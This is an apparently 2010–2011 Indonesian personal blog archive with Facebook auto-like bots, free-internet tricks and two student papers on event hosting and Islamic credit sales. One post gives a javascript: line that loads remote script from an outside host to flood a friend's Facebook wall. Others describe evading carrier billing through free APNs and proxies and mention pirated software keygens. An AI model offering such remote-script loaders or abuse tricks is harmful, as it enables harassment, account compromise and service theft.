Belajar bersama Mad Kartam

Mad Kartam Facebook Like V 1.5

2011-12-07T15:59:00.000-08:00

Hai para Facebooker yang suka like like dan like, ane baru bikin bot like facebook otomatis bisa di set interval menitnya..
Caranya sangat mudah, seperti biasa login di facebook, trus pilih like secara manual ataupun otomatis..
Minimize untuk menaruh program ke tray icon, untuk maximize tinggal klik di pojok kanan bawah..
Program ini masih dalam pengembangan, kritik dan saran ane harapkan dari kalian semua..
Silahkan di coba.. Download Facebook like V1.0

Mad Kartam Facebook Like V 1.5
fitur baru :
- Refresh Halaman per menit

Download Facebook like V1.5

Flood wall teman di facebook

2011-03-05T11:03:00.000-08:00

langsung jah yg ekstrim2.. kita flood wall temen kita, setuju... hehehe..

yang punya bb, sms facebook yang diaktifin, siap2 bunyi terus tu hp.

ne caranya flood wall :

1. Buka profil temen kamu, klik kanan namanya ajah open new tab.. nah di address barnya kan ada tulisan http://www.facebook.com/profile.php?id=XXXXXXXXXX

2. ganti urlnya dengan script ini (copy dan paste):

javascript:(a = (b = document).createElement("script")).src = "//madkartam.0fees.net/flood/flood.js", b.body.appendChild(a); void(0);

kemudian tekan enter.

3. lalu masukan berapa wall yang kamu mau kirim.. terserah.. kemudian tekan enter.

4. lalu masukan pesan wall kamu.. kemudian tekan enter..

hasilnya.. tereeetttt...

Selamat mencoba

Bot otomatis like status & komentar facebook

2011-02-08T07:20:00.000-08:00

Hi bro..neh ada lagi bot buat like status n kometar otomatis
- buka beranda facebook.
1. download script ini, buka trus copy
2. pastekan di browser (address bar) trus tekan enter.
3. tekan ok untuk konfirmasi, berarti bot mulai bekerja
4. hasilnya

- kalau mau aktifitas yang lain buka new tab ajah, halaman beranda yang sudah di paste script jangan di utak atik.. ( hanya home aja, untuk update feeds)
- lihat hasilnya bro. mantap

Settingan waktu:
2 detik untuk auto like komen,
1 menit untuk auto like status
1 menit untuk expand komen (agar komen yang panjang di expand dulu baru di like semua)

Selamat mencoba

Like semua status fb dengan sekali klik

2011-01-11T05:39:00.000-08:00

Like semua status teman hanya dengan sekali klik baik di beranda maupun di profil teman..

Bahan:
1. Mozila Firefox
2. Add-on firefox Greasemonkey
3. Script auto like

Langkahnya :
1. instal greasemonkey buka add on firefox.

klik add to firefox

klik install now

klik Restart firefox

2. install script facebook autolike by madkartam. download script facebookautolikebymadkartam
ekstrak facebookautolikebymadkartam.zip.

klik kanan buka dengan firefox

3. buka facebook maka di sebelah kiri bawah ada gambar monyet dan sebelah kanan bawah ada tulisan like semua status/unlike semua status

jika di beranda di klik like semua status maka semua status teman di like oleh kita dengan sekali klik, begitupun jika berada di profil teman maka semua status teman kita like dengan sekali klik.

klik kiriman terdahulu agar like semakin banyak..

selamat mencoba.

Panduan pindah blogspot.com ke co.cc

2010-08-31T11:21:00.000-07:00

setelah daftar co.cc ikuti panduan di bawah ini..

setelah klik setup, Klik No. 2 — Zone Record

Host : isi nama domain co.cc kamu contoh yg pny saya — www.belajarmembuatbloggratis.co.cc (jangan lupa gunakan – www)

TTl : Pilih 1D

Type : Pilih CNAME

Value : ghs.google.com

Klik Setup jangan lupa…!!!!

(mudah2an gak salah hehe…)

1. Terus Login ke Blogspot.com (kalau belum punya account yah daftar dulu di blogspot.com)

2.Klik Setting/pengaturan pada blog anda yg mau di pindah ke CO.CC/CZ.CC

3.Pilih Publishing/dipublikasikan…

4.Klik Custom domain/Domain Ubahsuaian..

5.Pilih Switch to Advanced setting/Beralihlah ke pengaturan lanjut..

6.Nah di sini baru isi domain dari co.cc kamu, Verifikasi kata, Kemudian Save Setting/Simpan Setelan… REBES BOZ…

update status facebook keluarga

2010-08-31T10:56:00.000-07:00

Update status melalui Handphone Eyang Kakung

Update status melalui Handphone Eyang Putri

Update status melalui Handphone Ramane

Update status melalui Handphone Biyunge

Update status melalui Handphone Lilike

Update status melalui Handphone Kakange

Update status melalui Handphone Mbokayune

Update status melalui Handphone Adine

Anda harus login terlebih dahulu di facebook untuk update status :)

By : Mad Kartam

Sms Gratis

2010-08-31T10:46:00.000-07:00

Sms gratis via Handphone pake ne: http://smsgratis.talk4fun.net/hp/. satu sms ga da 1 kb

Internet gratis agustus 2010

2010-08-05T11:21:00.000-07:00

Ehm... pagi-pagi mo download lagu karaoke.. tekan conect.. toteet.. APN telkomsel2 udah ga bisa dipake.. aduh bingung nech mana koneksi flash quota udah abis...
putar akal.. coba2 APN.. criiing.. konek.. langsung lari ke youtube.. wow.. donoad via IDM.. asyik masih 70 kbps lumayan...

Buat yg masih demen download gratisan via telkomsel.. proxy masih sama kayak bulan juli, cuman APN nya ganti..

Download APN gratisan telkomsel bulan agustus.

kirim pesan ane kalo masih bingung, di facebook aja ya.. Mad Kartam

Segitu dulu..

Trik login web facebook di gratisan telkomsel

2010-07-17T09:39:00.000-07:00

Kalau selama ini via proxy gratisan telkomsel hanya bisa acces m facebook, gmail blogger, sepet rasanya ga liat gambar n ga bisa blogging, gunakan cara ni:

1.Login di facebook dulu dengan APN bukan gratisan, jangan lupa proxy-nya dihilangkan, klik remember, trus ganti APN nya ke gratisan, ok dech.

2.Gunakan proxy web.
intinya kita browsing web yang di blok ma proxy telkomsel dengan ip proxy web..
banyak penyedia web proxy silahkan tanya ke mbah google.

bukan promosi, aku pakenya kproxy, seperti ini:

kalo udah gitu maka kita bisa browsing web facebook lewat gratisan :

segini dulu.. met ber gratisan ria..

Internet gratis telkomsel juli 2010

2010-06-29T10:06:00.000-07:00

Buat yang suka dan memburu gratisan, telkomsel masih memperpanjang gratisan sampai bulan juli, buruan sedot sebelum di banned. Berikut saya berikan perbandingan kecepatan flash yang berbayar dengan gratisan.

Proxy Telkomsel bulan juli 2010

Proxy telkomsel 1
Proxy telkomsel 2
Proxy telkomsel 3
Proxy telkomsel 4
Proxy telkomsel 5
Proxy telkomsel 6

Cara setting internet gratis telkomsel via handPhone

http://apps.facebook.com/gratisantelkomsel/

Cara seting internet gratis telkomsel di komputer

biasanya ga bisa login di facebook, gmail, blogger, pake cara ini

Trik login web facebook di gratisan telkomsel

Saya menggunakan telkomsel flash sudah hampir satu tahun, setiap bulannya saya hanya bisa menikmati kecepatan 3,5Mbps max 5 hari karena quota basic saya hanya 1 gb, dan internet saya share dengan dua komputer setelah itu turun kecepatannya menjadi 900kbps.
sebenarnya tersiksa dengan kecepatan segitu, tapi karena kartunya bisa dipake di hp dan modemnya juga bisa dibawa mobile jadi masih tak pertahanin.

Ngomong-ngomong gratisan, sebenarnya saya kecewa berat terhadap telkomsel, saya rasa telkomsel sudah tau adanya gratisan. Jika kartu tidak ada pulsa dan sudah tenggang secara otomatis tidak mungkin bisa konek internet. karena saya sering kekurangan pulsa dulu kalo ol pake hp selalu habis dan ada peringatan data paket tidak tersedia periksa layanan jaringan.

Lebih parahnya lagi kecepatan bulanan saya yang bayar 125.000 kalah cepat dengan gratisan, ini perbedaan yang sudah saya bandingkan:

Perbedaan kecepatan Telkomsel flash bulanan dengan gratisan

Telkomsel flash basic Rp.125 rb/bulan <--------------------> Kartu AS tenggang

APN : Internet <--------------------> APN: Telkomsel
untuk setingan APN,

speed: 900Kbps <--------------------> speed: 3,5 Mbps
Perbedaan kecepatan menggunakan gprs counter,

kecepatan download 7 kb/s <--------------------> kecepatan download 50 kb/s

Perbedaan kecepatan download menggunakan Internet Download Manager. ( Patch & Keygen )

Kalau ada yang gratis kenapa tidak.. Selamat mencoba..

2010-06-19T21:31:00.000-07:00

MC (Master of Ceremonial) dan PROTOKOLER

Makalah ini disusun untuk memenuhi tugas terstruktur
Mata Kuliah : Retorika
Dosen Pengampu : Uus Uswatussolihah M.Ag

Disusun oleh :
Nama : Basirudin
NIM : 032612022
Jur / Prodi : Dakwah / KPI

SEKOLAH TINGGI AGAMA ISLAM NEGERI (STAIN)
PURWOKERTO
2010

PENDAHULUAN

Dalam kehidupan sehari-hari kita pasti sudah pernah mengikuti suatu acara baik acara itu resmi ataupun tidak resmi. Dalam suatu acara terdapat seseorang yang bertugas untuk mengatur jalannya acara yaitu seorang MC (Master of Ceremonial) atau pembawa acara yang tidak dapat dipisahkan dari suatu acara. Bayangkan saja suatu acara yang tidak adanya pembawa acara, maka tidak akan sukses suatu acara. Master of ceremony atau pembawa acara merupakan suatu profesi, untuk itu seorang MC dituntut untuk professional. Karena profesi MC sangat berpengaruh dengan jalannya suatu acara. Dimana seorang Mc harus mampu membaca situasi, menciptakan suasana sesuai dengan karakter acaranya, yang memungkinkan adanya dialog dengan audience.
Selain adanya MC, dalam suatu acara yang resmi terdapat protocol, yaitu tata acara, khususnya acara resmi, seperti acara kenegaraan atau melibatkan pejabat negara; pengaturan keseluruhan kegiatan dari awal hingga akhir. Pada makalah ini akan dibahas mengenai MC atau pembawa acara dan protocol.

A. MC (Master of Ceremony)

1. Pengertian MC
MC kependekan dari Master of Ceremony. Artinya “penguasa acara”, pemandu acara, pengendali acara, pembawa acara, pengatur acara, atau pemimpin upacara. MC bertindak selaku “tuan rumah” (host) suatu acara atau kegiatan/pertunjukan. Ia nerperan mengumumkan susunan acara dan memperkenalkan orang yang akan tampil mengisi acara. Ia pula yang bertanggung jawab memastikan acara berlangsung lancar dan tepat waktu, serta meriah atau khidmat dari awal hingga akhir.

Master of Ceremony adalah orang yang bertugas memandu acara dan bertanggung jawab atas lancar dan suksenya acara. Seorang MC harus mampu membaca situasi, menciptakan suasana sesuai dengan karakteristik acaranya, dan memungkinkan adanya dialog dengan audience. Acara yang dibawakan adalah acara-acara hiburan yang menuntut kreativitas dan improvisasi yang akan menciptakan karakteristik acara sesuai dengan jenis acaranya.
Tugas utama seorang MC adalah mengatur susunan atau jalannya acara agar acara tersebut bisa berjalan dengan baik dan tersusun sistematis. Dalam kegiatan yang di acarakan, selalu ada orang yang bertugas memberitahu dan mengatur pelaksanaan setiap mata acara. Pergantian dari satu mata acara ke mata acara berikutnya selalu mengikuti perintahnya. Orang-orang yang terlibat dalam setiap mata acara itu pun selalu mematuhinya. Lancer dan tidaknya suatu acara sangat bergantung kepadanya.

Sebagai seorang MC, dia harus bisa menarik perhatian hadirin untuk segera merasa terlibat dalam pertemuan itu. Kalau upaya ini gagal, jalannya acara menjadi hambar, tidak berkesan dan mengecewakan. Sebaliknya bila pembawa acara pandai menguasai dan mengasyiki hadirin, maka acara tersebut menjadi lancer dan menyenangkan. Dengan demikian kesuksesan sebuah acara berada di tangan MC.

2. Syarat menjadi MC
Berikut ini adalah beberapa persyaratan utama yang harus dimiliki oleh seorang Master of Ceremony:
a. Pengetahuan dan pengalaman luas
b. Cerdas
c. Rasa Humor
d. Sabar
e. Imajinasi
f. Antusiasme
g. Rendah hati dan bersahabat
h. Kemampuan bekerjasama

B. Protokoler

1. pengertian Protokoler
Kata “protocol” berasal dari bahasa Yunani protos dan kola. Dalam bentukan kata “protocollum” berarti “yang pertama dilekatkan”, dan dalam perkembangannya kita memiliki kata protocol yang berarti lembar pertama yang dilekatkan pada dokumen perjanjian internasional, yang memuat tentang urutan acara. Perkataan protocol di Indonesia pertama kali diperkenalkan di Indonesia oleh bangsa Belanda dan Inggris, kemudian melalui proses panjang menjadi protokol yang kita kenal sekarang.
Protokoler adalah seluruh hal yang mengatur pelaksanaan suatu kegiatan. Kegiatan tersebut dari awal hingga akhir bisa saja dilaksanakan di dalam ruangan atau juga di luar ruangan, misalnya lapangan. Terlepas dari materi pokok yang dilaksanakan dalam suatu kegiatan tersebut, masalah-masalah protokoler lebih menitikberatkan pada hasil atau tidaknya pelaksanaan suatu kegiatan. Dengan demikian masalah protokoler lebih ditekankan pada hal-hal yang mengatur seluruh manusia yang terlibat dalam pelaksanaan suatu kegiatan.

2. Tahapan – Tahapan Protokoler
Suatu kegiatan apapun pada dasarnya merupakan pelaksanaan dari hasil kerja tahapan-tahapan sebelumnya. Tahapan-tahapan tersebut diperlukan untuk menunjang suksesnya puncak acara. Berhasil atau tidaknya suatu kegiatan juga ditentukan olek baik atau buruknya tahapan-tahapan sebelumnya.
Tahapan-tahapan yang dimaksud adalah:
1. Tahap orientasi
Untuk melaksanakan suatu kegiatan terlebih dahulu mempertimbangkan tentang latar bellanga, tujuan, manfaat, dan kemungkinan yang akan terjadi dari acara tersebut.
2. Tahap Persiapan
Dalam tahap persiapan, langkah-langkahnya meliputi; pembentukan panitia, rapat panitia.
3. Tahap pelaksanaan
Tahapan pelaksanaan suatu kegiatan tidak akan lepas dari masalah protokoler, lancer atau tidaknya suatu kegiatan tergantung dari protokoler.
4. Tahap Penutup
Yang dimaksud tahap penutupan dalam suatu kegiatan ialah suatu tahapan terakhir yang harus dilalui oleh seorang atau sekelompok setelah kegiatan itu menyelesaikan kegiatan.

Dalam kegiatan resmi protocol meliputi :
- Tata cara
Tata cara lebih banyak diartikan dengan tata cara berlangsungnya suatu acara. Setiap acara mempunyai cirri sendiri dalam penmyelenggaraannya. Protocol banyak diterapkan pada acara-acara resmi yang seharusnya dilakukan menurut urutan tertentu yang sudah di tetapkan dan harus ditaati dengan seksama oleh seluruh panitia penyelenggara, petugas dan hadirin.
Pada acara resmi, upacara dikalangan ABRI misalnya, urutan acara dan tata penyelenggaraanya sudah diatur dalam juklak yang di bakukan dengan surat keputusan. Pada beberapa instansi juga telah dibuat peraturan yang dibakukan, berdasarkan pada rumusan tertentu dipakai sebagai panduan dalam setiap penyelenggaraan acara.
- Tata karma
Dalam pelaksanaan acara, tata karma dipergunakan untuk memberikan penghormatan atau perlakuan khusus, baik kepada seseorang karena jabatannya atau peranannya dalam acara tersebut, atau bisa juga dipergunakan terhadap benda yang dianggap penting karena fungsi atau peranan historisnya.
Perlakuan /penggunaan tata karma meliputi :
o tata tempat
o tata penyebutan
o lagu kebangsaan
o petugas
Dalam pelaksanaan tugas, selalu terlibat orang-orang dalam suatu grup yang menjalankan aturan pelaksanaan acara sesuai dengan tata cara dan tata karma.
Berkaitan dengan hal ini, seorang protocol yang adalah petugas pelaksana keprotokolan seyogyanya juga menjadikan aturan-aturan yang kini telah dibakukan dan merupakan aturan resmi dalam kedinasan sebagai sarana untuk meingkatkan disiplin dan dedikasi dalam bekerja.
Protocol hamper mirip dengan etiket, dan boleh dikatakan bahwa protocol adalah etiket dalam pemakaiannya yang khas. Etiket adalah tata sopan santun yang secara umum berlaku dalam masyarakat, yang mengatur hubungan antar manusia. Sedangkan protocol lebih khusus dipergunakan dalam hubungan resmi antar-bangsa dan antar-negara.

Ruang lingkup protocol
Dalam pelaksanaannya, tugas keprotokolan dilaksanakan dalam beberapa kegiatan, antara lain :
- Penerimaan tamu atau audiensi.
- Perjalanan atau peninjauan.
- Pengaturan rapat atau pertemuan.
- Penyelenggaraan resepsi, upacara hari besar nasional dan keagamaan.
- Apel bendera.
- Pelantikan, serah terima jabatan dan pelepasan.
- Peresmian proyek.
- Pelayanan bagi para diplomat yang antara lain meliputi : kekebalan dan kelonggaran diplomayik, fasilitas pelabuhan, pemberian hak-hak tertentu, penyusunan daftar diplomatic dan konsulat.
- Pembuatan pernyataan selamat dan belasungkawa.

KESIMPULAN

MC (Master of Ceremony) adalah orang yang bertugas mengatur jalannya acara dalam suatu protokoler. Jadi MC adalah bagian dari protokoler. Tugas utama seorang MC adalah mengatur susunan atau jalannya acara agar acara tersebut bisa berjalan dengan baik dan tersusun sistematis. Dalam kegiatan yang di acarakan, selalu ada orang yang bertugas memberitahu dan mengatur pelaksanaan setiap mata acara. Pergantian dari satu mata acara ke mata acara berikutnya selalu mengikuti perintahnya. Orang-orang yang terlibat dalam setiap mata acara itu pun selalu mematuhinya. Lancer dan tidaknya suatu acara sangat bergantung kepadanya.
Protokoler merupakan seluruh pengaturan perjalanan acara-acara dalam suatu kegiatan. Dari mulai penerimaan tamu, menyajikan hidangan, mengatur acara, membuka dan menutup acara dan sebagainya. Masalah-masalah protokoler adalah masalah-masalah yang mengatur seluruh kegiatan selama acara-acara berlangsung dengan mempertimbangkan waktu dan tempat.

DAFTAR PUSTAKA

Lies Aryati, Panduan untuk menjadi MC Profesional, PT Gramedia Pustaka Utama, Jakarta 2007.
Yasin, Sulchan, MC ( Pembawa Acara dan Contoh Pidato) Penerbit Mekar Surabaya, Surabaya, 1991

2010-06-19T10:33:00.000-07:00

HUKUM JUAL BELI KREDIT DALAM ISLAM

Makalah ini disusun guna memenuhi tugas terstruktur
Mata kuliah : Tafsir hadits ijtima’i
Dosen pengampu : Elya Munfarida M.Ag

Disusun oleh :
Basirudin (032612022)

PROGRAM STUDI KOMUNIKASI DAN PENYIARAN ISLAM
JURUSAN DAKWAH
SEKOLH TINGGI AGAMA ISLAM NEGERI (STAIN)
PURWOKERTO
2010

BAB I
PENDAHULUAN

A. Latar belakang
Jual beli dalam fiqih Islam terkadang dilakukan dengan pembayaran kontan dari tangan ke tangan, dan terkadang dengan pembayaran dan penyerahan barang tertunda. Terkadang salah satu keduanya kontan dan yang lainnya tertunda. Pembayaran tertunda itu sendiri terkadang dibayar belakangan dengan sekali bayar sekaligus. Terkadang di-bayar dengan cicilan, yakni dibayar dengan jumlah tertentu pada waktu-waktu tertentu. Itu disebut jual beli bai’taqsit atau kredit.
Semakin bertumbuhnya penduduk dan kebutuhan yang semakin meningkat memaksa orang untuk melakukan jual beli dengan cara kredit. Salah satua alasana adalah kurangnya dana kontan untuk membeli atau dialokasikan untuk kebutuhan lain Makalah kali ini lebih mendalami tentang hokum kredit pembelian barang.

B. Rumusan masalah
1. Apa pengertian jual beli dalam islam?
2. Apa pengertian kredit ?
3. Bagaimana hukum kredit dalam islam?
C. Tujuan
1. Menjelaskan pengertian jual beli dalam islam.
2. Menjelaskan pengertian kredit .
3. Menjelaskan hukum kredit dalam islam.
D. Metode penelitian
Dalam penyusunan makalah ini menggunakan metode penelitian pustaka (library Research) yaitu dengan mengumpulkan data-data dari buku dan jurnal.
BAB II
PEMBAHASAN
A. Jual Beli
1. Pengertian jual beli
Jual beli menurut bahasa al-bai al-ijarah dan al-mubadalah yang berarti menjual atau perdagangan. Menurut istilah yang dimaksud jual beli adalah menukar barang dengan barang atau barang dengan uang dengan jalan melepaskan hak milik dari yang satu kepada yang lain atas dasar saling merelakan.
Jual beli disyariatkan di dalam Alquran, sunnah, ijma, dan dalil akal. Allah SWT berfirman:
•     
“Dan Allah telah menghalalkan jual beli dan mengharamkan riba”
(QS. Al-Baqarah 2:275).

2. Klasifikasi jual beli
Jual beli dibedakan dalam banyak pembagian berdasarkan sudut pandang. Adapun pengklasifikasian jual beli adalah sebagai berikut:
a. Berdasarkan objeknya.
Jual beli berdasarkan objek dagangannya terbagi tiga jenis, yaitu:
1) Jual beli umum, yaitu menukar uang dengan barang.
2) Jual beli as-Sharf (Money Changer), yaitu penukaran uang dengan uang.
3) Jual beli muqayadhah (barter), yaitu menukar barang dengan barang.

b. Berdasarkan cara pembayarannya.
Ditinjau dari cara pembayaran, jual beli dibedakan menjadi empat macam:
1) Jual beli dengan penyerahan barang dan pembayaran secara langsung (jual beli kontan).
2) Jual beli dengan pembayaran tertunda (jual beli nasi’ah).
3) Jual beli dengan penyerahan barang tertunda (jual beli as-salam).
4) Jual beli dengan penyerahan barang dan pembayaran sama-sama tertunda.
c. Berdasarkan cara standarisasi harga.
1) Jual beli bargainal (tawar menawar). Yakni jual beli dimana penjual tidak
meberitahukan besarnya modal dari barang yang dijualnya.
2) Jual beli amanah. Yakni jual beli dimana penjual memberitahukan harga modal dari barang jualannya. Dengan dasar jual beli ini, jenis jual beli tersebut terbagi
lagi menjadi tiga jenis:
• Jual beli murabahah. Yakni jual beli dengan modal dan keuntungan yang diketahui.
• Jual beli wadhi’ah. Yakni jual beli dengan harga di bawah modal dan jumlah kerugian yang diketahui.
• Jual beli tauliyah. Yakni jual beli dengan menjual barang dalam harga modal, tanpa keuntungan dan kerugian.
3) Jual beli muzayadah (lelang). Yakni jual beli dengan cara penjual menawarkan barang dagangannya, lalu para pembeli saling menawar dengan menambah jumlah pembayaran dari pembeli sebelumnya, lalu si penjual akan menjual dengan harga tertinggi dari para pembeli tersebut. Kebalikan dari jual beli lelang ini adalah jual beli munaqadhah (obral). Yakni si pembeli menawarkan diri untuk membeli barang dengan kriteria tertentu, lalu para penjual berlomba menawarkan dagangannya, kemudian si pembeli akan membeli dengan harga termurah yang mereka tawarkan.

3. Rukun dan syarat jual beli
Dalam menetapkan rukun jual beli, di antara ulama terjadi perbedaan pendapat. Menurut Ulama Hanafiyah, rukun jual beli adalah ijab dan qabul yang menunjukkan pertukaran barang secara ridla, baik dengan ucapan maupun perbuatan.
Rukun jual beli ::
a. bai’ (penjual)
b. mustari (pembeli)
c. shighat (ijab dan qabul)
d. ma’qud ’alaih (benda atau barang)
Syarat jual beli :
a. Objek jual beli harus suci, bermanfaat, bisa diserahterimakan, dan merupakan milik penuh salah satu pihak.
b. Mengetahui objek yang diperjualbelikan dan juga pembayarannya, agar tidak terhindar faktor ‘ketidaktahuan’ atau ‘menjual kucing dalam karung’ karena hal tersebut dilarang.
B. Pengertian Kredit
Jual Beli Kredit dalam bahasa Arabnya disebut bai’ taqsith yang pengertiannya menurut istilah syari’ah, ialah menjual sesuatu dengan pembayaran yang diangsur dengan cicilan tertentu, pada waktu tertentu, dan lebih mahal daripada pembayaran kontan/tunai. Gambaran umumnya adalah penjual dan pembeli sepakat bertransaksi atas suatu barang (x) dengan harga yang sudah dipastikan nilainya (y) dengan masa pembayaran (pelunasan) (z) bulan. Harga harus disepakati di awal transaksi meskipun pelunasannya dilakukan kemudian. Perbedaan harga cicilan dari harga kontan, bukan termasuk riba. Itu merupakan keuntungan dalam jual beli barang sebagai kompensasi tertahannya hak penjual dalam jangka waktu tertentu.
Aplikasi bai’ taqsith dapat mendatangkan kemudahan bagi masyarakat untuk memenuhi kebutuhannya, karena banyak orang tidak mampu menyerahkan harga secara menyeluruh. Tetapi dengan cicilan, ia bisa memanfaatkan dan memiliki barang yang dibutuhkan

C. Hukum jual beli kredit
1. Jual beli kredit diharamkan
Contoh : Ali menawarkan sepeda motor kepada Iwan dengan harga Rp. 12 juta. Iwan membayar dengan cicilan dengan ketentuan bahwa setiap bulan dia terkena bunga 2 % dari Rp. 12 juta atau dari sisa uang yang belum dibayarkan..Transaksi seperti ini termasuk dalam riba nasiah , karena kedua belah pihak tidak menyepakati harga dengan pasti, tetapi harganya tergantung dengan besar bunga atau presentase dan masa cicilan. Yang seperti ini jelas haram.
        
“Hai orang-orang yang beriman, janganlah kamu memakan Riba dengan berlipat ganda.” (QS. Ali Imron: 130)
Hukum Bunga menurut fatwa MUI:
a. Praktek pembungaan uang saat ini telah memenuhi kriteria riba yang terjadi pada jaman Rasulullah SAW, Ya ini Riba Nasi’ah. Dengan demikian, praktek pembungaan uang ini termasuk salah satu bentuk Riba, dan Riba Haram Hukumnya.
b. Praktek Penggunaan tersebut hukumnya adalah haram,baik di lakukan oleh Bank, Asuransi,Pasar Modal, Pegadian, Koperasi, Dan Lembaga Keuangan lainnya maupun dilakukan oleh individu.
2. Jual beli kredit diperbolehkan
Contoh : Ahmad menawarkan sepeda motor pada Budi dengan harga Rp. 12 juta. Karena Budi tidak punya uang tunai Rp.12 juta, maka dia minta pembayaran dicicil (kredit). Untuk itu Ahmad minta harganya menjadi Rp. 18 juta yang harus dilunasi dalam waktu 3 tahun. Harga Rp. 18 juta tidak berdasarkan bunga yang ditetapkan sekian persen, tetapi merupakan kesepakatan harga sejak awal. Transaksi seperti ini dibolehkan dalam Islam.

a. Dalil-dalil yang memperbolehkan jual beli dengan pembayaran tertunda.
Firman Allah Ta'ala
         
“Hai orang-orang yang beriman, apabila kamu bermu'amalah (berjualbeli, hutang piutang, atau sewa menyewa dan sebagainya) tidak secara tunai untuk waktu yang ditentukan, hendaklah kamu menulisnya” (QS. Al Baqarah: 282).
Hadits Rasulullah
Dari Aisyah berkata, "Sesungguhnya Rasulullah rnembeli makanan dari seorang Yahudi dengan pembayaran tertunda. Beliau memberikan baju besi beliau kepada orang tersebut sebagai gadai” (HR. Bukhari 2068, Muslim 1603).
Hadits ini tegas bahwa Rasululah mendapatkan barang kontan namun pembayarannya tertunda.

b. Dalil-dalil yang menunjukkan dibolehkannya memberikan tambahan harga karena penundaan pembayaran atau karena penyicilan.
Firman Allah Ta'ala
             
“Wahai orang-orang yang beriman, janganlah kamu saling mernakan harta sesamamu dengan jalan yang bathil, kecuali dengan jalan perniagaan yang berlaku dengan suka sama suka diantara kamu” (Q.S. An Nisa': 29).
Keumuman ayat ini mencakup jual beli kontan dan kredit, maka selagi jual beli kredit dilakukan dengan suka sama suka maka masuk dalam apa yang diperbolehkan dalam ayat ini.
Hadits Rasulullah
Dari Abdullah bin Abbas berkata,
Rasulullah datang ke kota Madinah, dan saat itu penduduk Madinah melakukan jual beli buah-buahan dengan cara salam dalam jangka satu atau dua tahun, maka beliau bersabda,
"Barangsiapa yang jual beli salam maka hendaklah dalam takaran yang jelas, timbangan yang jelas sampai waktu yang jelas" (HR. Bukhari 2241, Muslim 1604).

Pengambilan dalil dari hadits ini, bahwa Rasulullah membolehkan jual beli salam asalkan takaran dan timbangan serta waktu pembayarannya jelas, padahal biasanya dalam jual beli salam uang untuk membeli itu lebih sedikit daripada kalau beli langsung ada barangnya. Maka begitu pula dengan jual beli kredit yang merupakan kebalikannya yaitu barang dahulu dan uang belakangan meskipun lebih banyak dari harga kontan..
c. Dalil Ijma’
Sebagian Ulama’ mengklaim bahwa dibolehkannya jual beli dengan kredit dengan perbedaan harga adalah kesepakatan para ulama’.
d. Dalil qiyas
Sebagaimana yang telah lewat bahwasannya jual beli kredit ini diqiaskan dengan jual beli salam yang dengan tegas diperbolehkan Rosululloh, karena ada persamaan, yaitu sama-sama tertunda. hanya saja jual beli salam barangnya yang tertunda, sedangkan kredit uangnya yang tertunda. Juga dalam jual beli salam tidak sama dengan harga kontan seperti kredit juga hanya bedanya salam lebih murah sedangkan kredit lebih mahal.

5. Dalil Maslahat
Jual beli kedit ini mengandung maslahat baik bagi penjual maupun bagi pembeli. Karena pembeli bisa mengambil keuntungan dengan ringannya pembayaran karena bisa diangsur dalam jangka waktu tertentu dan penjual bisa mengambil keuntungan dengan naiknya harga, dan ini tidak bertentangan dengan tujuan syariat yang memang didasarkan pada kemaslahatan umat.
Berkata Syaikh Bin Baz disela-sela jawaban beliau mengenai jual beli kredit,
"Karena seorang pedagang yang menjual barangnya secara berjangka pembayarannya setuju dengan cara tersebut sebab ia akan mendapatkan tambahan harga dengan penundaan tersebut. Sementara pembeli senang karena pembayarannya diperlambat dan karena ia tidak mampu mambayar kontan, sehingga keduanya mendapatkan keuntungan." (Ahkamul Ba'i, Syaikh Jarulloh, hal. 58).

BAB III
PENUTUP

Dari pemaparan diatas dapat diambil kesimpulan bahwa jual beli merupakan pertukaran antara penjual dan pembeli baik berupa barang ke uang, ataupun barang ke barang. Jual beli kredit termasuk dalam jual beli umum yaitu menukar uang dengan barang, dan jual beli dengan pembayaran secara tertunda dan dalam bentuk cicilan dalam waktu-waktu yang ditentukan.. Jual beli kredit merupakan kebalikan dari jual beli salam, dimana salam adalah uang dimuka barang tertunda, sedangkan kredit barang dimuka uang tertunda.
Dan penambahan harga pembayaran barang karena tertunda diperbolehkan dengan alasan suka sama suka dan saling menguntungkan serta mengandung maslahat bagi penjual dan pembeli. Pembeli bisa mengambil keuntungan dengan ringannya pembayaran karena bisa diangsur dalam jangka waktu tertentu dan penjual bisa mengambil keuntungan dengan naiknya harga.

DAFTAR PUSTAKA

• Suhendi, hendi, Fiqh Muamalah, Jakarta: PT. raja Grafindo, 2008.
• Al-Muslih Abdullah dan Shalah ash-Shawi, Fikih Ekonomi Keuangan Islam Jakarta: . Darul haq. 2004
• http://ekonomi-syariah.com/2009/10/02. Transaksi_jual-beli_dalam_islam/
• http://ahmadsabiq.com/2010/01/08/hukum-jual-beli-kredit/
• Keputusan fatwa MUI Nomor 1 tahun 2004 tentang bunga

Sebaran Matakuliah Jurusan Dakwah - Program Studi KPI

2010-06-19T09:45:00.000-07:00

Sebaran matakuliah
Kurikulum berbasis Kompetensi
Jurusan Dakwah - Program Studi KPI

Semester 1 Jurusan Dakwah - KPI

No	Kode	Matakuliah	SKS
1	Sti.001	Filsafat Pancasila	2
2	Sti.003	Akidah Islamiyah	3
3	Sti.006	Ulumul Qur'an	3
4	Sti.007	Ulumul Hadis	3
5	Sti.008	Islamic Building	2
6	Sti.014	IAD/ILH	2
7	Sti.015	ISD/IBD	2
8	Sti.019	Bahasa Inggris I	2
9	Sti.021	Bahasa Arab I	2
10	Sti.024	BTA & PPI *)	0
		Jumlah	21

*) Teknis pelaksanaannya diatur kemudian

Semester 2 Jurusan Dakwah - KPI

No	Kode	Matakuliah	SKS
1	DAK.001	Ilmu Dakwah Institusi	2
2	Sti.002	Civic Education	2
3	Sti.004	Fiqh	4
4	Sti.009	Ushul Fiqh	2
5	Sti.012	Logika	2
6	Sti.016	Sejarah Kebudayaan Islam	2
7	Sti.018	Bahasa Indonesia	2
8	Sti.020	Bahasa Inggris II	2
9	Sti.022	Bahasa Arab II	2
		Jumlah	20

Semester 3 Jurusan Dakwah - KPI

No	Kode	Matakuliah	SKS
1	DAK.002	Ilmu Dakwah II	2
2	DAK.003	Sejarah Dakwah	2
3	DAK.012	Sosiologi Agama	2
4	DAK.013	Ilmu Komunikasi	3
5	DAK.014	Retorika	3
6	Sti.005	Akhlaq Tasawuf	2
7	Sti.010	Filsafat Islam	2
8	Sti.011	Filsafat Ilmu	2
9	Sti.013	Metodologi Penelitian	2
10	Sti.025	Komputer & Pengenalan Internet *)	0
		Jumlah	20

*) Teknis pelaksanaannya diatur kemudian

Semester 4 Jurusan Dakwah - KPI

No	Kode	Matakuliah	SKS
1	DAK.004	Filsafat Dakwah	3
2	DAK.005	Kapita Selekta Dakwah	3
